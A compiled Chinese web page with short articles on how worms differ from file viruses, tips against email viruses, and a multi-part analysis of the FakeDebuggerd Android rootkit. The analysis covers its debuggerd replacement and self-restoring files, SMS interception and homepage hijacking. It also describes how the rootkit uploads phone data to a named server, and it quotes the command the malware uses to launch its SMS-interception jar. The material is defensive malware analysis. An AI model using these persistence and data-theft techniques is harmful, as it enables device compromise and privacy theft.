蠕虫也是一种病毒,因此具有病毒的共同特征。一般的病毒是需要的寄生的,它可以通过自己指令的执行,将自己的指令代码写到其他程序的体内,而被感染的文件就被称为”宿主”,例如,windows下可执行文件的格式为pe格式(Portable Executable),当需要感染pe文件时,在宿主程序中,建立一个新节,将病毒代码写到新节中,修改的程序入口点等,这样,宿主程序执行的时候,就可以先执行病毒程序,病毒程序运行完之后,在把控制权交给宿主原来的程序指令。可见,病毒主要是感染文件,当然也还有像DIRII这种链接型病毒,还有引导区病毒。引导区病毒他是感染磁盘的引导区,如果是软盘被感染,这张软盘用在其他机器上后,同样也会感染其他机器,所以传播方式也是用软盘等方式。
蠕虫一般不采取利用pe格式插入文件的方法,而是复制自身在互联网环境下进行传播,病毒的传染能力主要是针对计算机内的文件系统而言,而蠕虫病毒的传染目标是互联网内的所有计算机.局域网条件下的共享文件夹,电子邮件email,网络中的恶意网页,大量存在着漏洞的服务器等都成为蠕虫传播的良好途径。网络的发展也使得蠕虫病毒可以在几个小时内蔓延全球!而且蠕虫的主动攻击性和突然爆发性将使得人们手足无策!
普通病毒 蠕虫病毒 存在形式 寄存文件 独立程序 传染机制 宿主程序运行 主动攻击 传染目标 本地文件 网络计算机
可以预见,未来能够给网络带来重大灾难的主要必定是网络蠕虫!
篇8:如何防范“邮件病毒”
“邮件病毒”其实和普通的电脑病毒一样,只不过由于它们的传播途径主要是通过电子邮件,所以才被称为“邮件病毒”,它们一般是通过邮件中“附件”夹带的方法进行扩散,你运行了该附件中的病毒程序,才能够使你的电脑染毒。知道了这一点,我们就不难采取相应的措施进行防范了。
首先,不要轻易打开陌生人来信中的附件文件。当你收到陌生人寄来的一些自称是“
不可不看”的有趣东东时,千万不要不假思索地贸然打开它!尤其对于一些“.exe”之类的可执行程序文件,就更要慎之又慎!
其次,对于比较熟悉、了解的朋友们寄来的信件,如果其信中夹带了程序附件,但是他却没有在信中提及或是说明,也不要轻易运行,
因为有些病毒是偷偷地附着上去的――也许他的电脑已经染毒,可他自己却不知道。比如“happy 99”就是这样的病毒,它会自我复制,跟着你的邮件走。
第三,给别人发送程序文件甚至包括电子贺卡时,一定要先在自己的电脑中试试,确认没有问题后再发,以免好心办了坏事。另外,应该切忌盲目转发:有的朋友当收到某些自认为有趣的邮件时,还来不及细看就打开通讯簿给自己的每一位朋友都转发一份,这极有可能使病毒的制造者恶行得逞,而你的朋友对你发来的信无疑是不会产生怀疑的,结果你无意中成为病毒传播者。
篇9:FakeDebuggerd Android rootkit分析报告病毒防范
这是一个rom级别的木马,木马替换系统进程debuggerd实现自启动,重启回写若干apk/jar/elf文件。支持网络和短信两种远控模式,并且带有十几个可配置参数。
只要/system/bin/debuggerd没有被清理,FakeDebuggerd就能从/system/bin/debuggerd文件尾部将所有被删除的文件重新释放。
而debuggerd是原生服务,本身就是开机启动进程,因此木马不需要对init.rc或者其他脚本做额外修改,这样整个行为会更加隐蔽。
FakeDebuggerd加密所有字符串,回写时修复文件创建时间,即使木马apk被发现,也不能通过在目录中暴力搜索字符串来找到作恶的源头/system/bin/debuggerd。从恶意行为上看,该木马具有回写推广widget、篡改默认浏览器主页、静默安装apk,窃取用户手机号、硬件编号、地理位置等恶意行为,木马作者还可以根据回传的手机号单独下发控制配置。
该样本的衍生程序早期变种在末就被发现,本次发现的是其最新变种。目前360已经能够彻底查杀。(专杀工具下载)
篇10:FakeDebuggerd Android rootkit分析报告病毒防范
起初通过pm命令我只能发现可疑系统程序的路径在 /system/framework/AndroidSecurity.apk
然后我尝试使用 pm uninstall 删除,重启之后这个apk又出现了,于是怀疑有固件级别的程序在回写这个apk。
通过查看init.rc 、svc等多个启动脚本,都没有发现异常。在system分区搜索文件的敏感字符串,也没有结果。
于是开始逆向AndroidSecurity.apk,程序多次调用socketWork连接localsocket,发送命令,这和Oldboot机制类似:
找到local socket的源头很容易:首先取得socket的inode。
然后查找引用了这个inode的进程
至此发现源头是debuggerd,通过逆向发现,debuggerd被彻底替换为木马,可以回写其他衍生程序,所以才会发生AndroidSecurity.apk杀不掉的状况
篇11:FakeDebuggerd Android rootkit分析报告病毒防范
debuggerd 回写其他文件,执行root权限命令,更新云控配置等
divadv 使用netfilter截获数据包
sm.jar 独立进程用于拦截短信,转发给AndroidSecurity.apk
AndroidSecurity.apk 木马在java层的主程序,向debuggerd下发指令
Widgetmain.apk 一个拉广告的程序
篇12:FakeDebuggerd Android rootkit分析报告病毒防范
短信拦截是一个敏感操作,该木马没有将这部分代码放在apk中,而是由debuggerd来启动一个jar包,并且将其pid设置为1000
export CLASSPATH=/system/framework/sm.jar.exec app_process /system/bin com.android.commands.sm.Sm “$@”
Sm.jar拦截短信控制指令,更新配置文件,并且必要时与AndroidSecurity.apk通过广播通信
拦截短信,通过广播将相应指令转发给AndroidSecurity.apk
4. AndroidSecurity.Apk
最后来看AndroidSecurity.apk,这是最早发现问题的源头,整个apk仅由一个广播com.android.xbrowser.ABC组成。
它接收以下广播:
接收 com.htc.lucy.initalarmaction :
这个广播是机器启动时初始化时通过AlarmManager调用的,并且定时触发
在该广播触发时,将手机系统信息写入/data/data/com.android.xbrowser/files/1.dat
如果wifi环境没有开启的情况下,尝试设置APN以使用蜂窝网络
与debuggerd通信,添加Widget 到桌面
这个Widget 在/system/app/widgetmain.apk中实现
最后,还会注册一个com.htc.lucy.alarmaction reciever 定时触发
接收 com.htc.lucy.alarmaction :
与com.htc.lucy.initalarmaction类似,但是省去初始化的一些逻辑,定时监测是否需要更新配置文件2.dat,修正蜂窝网络连通性
接收 android.net.conn.CONNECTIVITY_CHANGE :
网络环境更新消息接收后,检查今天是否有尝试更新过云端配置,如果没有,向debuggerd发送消息请求更新
这时候debuggerd联网获取配置,并将配置存储在2.dat中。并且返回给AndroidSecurity.apk一个结果。如果更新成功,AndroidSecurity.apk从2.dat里面获取smskeys(短信拦截关键字),通过com.android.xbrowser.watchdapkbc广播传送给sm.jar。Sm.jar则去拦截短信指令
接收 com.android.xbrowser.smsapkbc
接收 com.android.xbrowser.sm2watchdapkbc
更新文件版本号
接收 android.intent.action.ACTION_SHUTDOWN
流量统计使用,重启之前要将本次开机之后的流量保存在1.dat中
接收 com.android.xbrowser.wapbc
来自sm.jar的查询配置文件2.dat的请求
接收 com.android.xbrowser.smresetbc
Sm.jar重新启动发来的广播,随后本apk向debuggerd发消息
通常执行的操作是杀掉com.android.poweralarm进程,当sm.jar传来特殊的指令时,此apk发送消息
5. Widgetmain.apk
在AndroidSecurity.apk启动时,要求debuggerd向桌面插一个widget
路径是/system/bin/widgetmain.apk 该apk没有特别的恶意行为,目的是推送广告快捷方式到桌面上
篇13:FakeDebuggerd Android rootkit分析报告病毒防范
该程序替换了系统的debuggerd,因此可以通过init.rc的配置开机启动,程序启动后自动释放所有衍生程序,实现所有程序的回写。最后进入无限循环,接收java层程序的命令执行root权限才能执行的操作命令。并且担负起更新云控文件的任务
Phase 0
将文件路径上下文切换到/data/data/com.android.xbrowser/files下,这是木马AndroidSecurity.apk的文件路径,这个文件夹下包含的云端控制命令参数和日志文件
其中1.dat是AndroidSecurity.apk收集的系统信息,由debuggerd回传至云端
2.dat是云端下发的命令,每一行是一个参数。 a.log是debuggerd打印的日志,b.log AndroidSecurity.apk使用的日志 t.dat 记录系统时间
程序接着启动被替换的原始debuggerd,原始debuggerd被命名为aee_aed,并且有一个link /system/bin/testdeb指向aee_aed
执行testdeb
Phase 1
回写所有apk/jar/elf文件,这是debuggerd的核心功能之一。文件数据存放在debuggerd文件内部,所以debuggerd有1.3M之大
这些文件的offset记录在debuggerd文件尾部0×20的地方,debuggerd使用inflate解压数据到系统中进行回写,并且篡改文件的创建时间
获取释放文件的offset
解压文件数据并且释放修改文件属主、时间以掩人耳目,时间被修改为2013-04-18 15:42,即rom中/system/framework/pm.jar的生成时间
具体而言,以下是代码中写明可能释放的文件,但实际上并不是所有文件都被打包进了debuggerd,所以有些文件没有释放。推测这些没有释放的文件应用于早期版本,现在已经被去掉了。
/data/local/tmp/sm/data/local/tmp/sm.jar/system/framework/sm.jar/system/framework/AndroidSecurity.apk/system/bin/divadv/data/bin/busybox/data/bin/wget/system/framework/PowerAlarm.apk(早期变种存在此文件,没有释放)/system/bin/systemalarm(没有释放)/system/bin/alarmwatcher(没有释放)
另外debuggerd在释放apk时做了判断,针对一些特定版本的安卓系统,则释放为.lar文件
释放出sm.jar后,立即调用app_process加载jar包
fork,以system执行 :export CLASSPATH=/system/framework/sm.jar exec app_process /system/bin com.android.commands.sm.Sm “$@”
释放出 divadv,并且判断系统中netfilter启用,立即执行
Phase 2
读取2.dat的参数配置,可以启动第四行参数制定的程序
启动服务线程,服务线程循环监视系统时间,如果时间超过22时且为整点,配置更新状态为true
(Phase 3中会看到,这一步是用户当天在22时之前,从没有连接wifi的前提下触发的。如果用户联通wifi,会立即触发更新。)
并且开始上传用户隐私1.dat ,获取云端命令 2.dat
Phase 3
创建LocalSocket watchd6213,循环接收命令,命令有以下几种:
根据2.dat配置,安装elf和apk
向桌面添加widget
在/data/system/appwidgets.xml中查找默认桌面
/system/etc/customize/default_ui.sql 查询到laucher数据库 /data/data/com.android.launcher/databases/launcher.db
执行sql语句,直接向/data/data/com.android.launcher/databases/launcher.db插入数据,添加widget
杀指定进程,但如果pid是-1000,则清理所有与自己相关的木马文件,并且恢复原始debuggerd
篡改默认浏览器首页,将结果写到 /data/data/com.android.browser/shared_prefs/com.android.browser_preferences.xml 的
通知网络变化状况,如果当前网络变化为wifi环境,则立刻打开云控开关,那么Phase2中的线程立即开始上传用户隐私数据(1.dat),更新云端配置(2.dat)
当然云控的服务器也是可配置的,写在2.dat中
上传隐私至wap.ttok.com
下载配置文件
- 求职信病毒的危害2023-04-15
- 病毒性感冒怎么治2022-12-11
- 毕淑敏《花冠病毒》读后感2023-09-15
- 病毒隐藏技术病毒防治2025-09-05
- 连载:反病毒误报问题机理技术蓝皮书(八)病毒防范2024-04-16
- “五毒虫”病毒完整解决方案2022-12-11
- 抗击病毒疫情的初中作文2022-12-23
- 病毒性感冒的原因有哪些2024-03-22
- 新冠病毒的想象作文2023-01-04
- DLL文件的妙用 让“病毒”制服病毒2024-04-30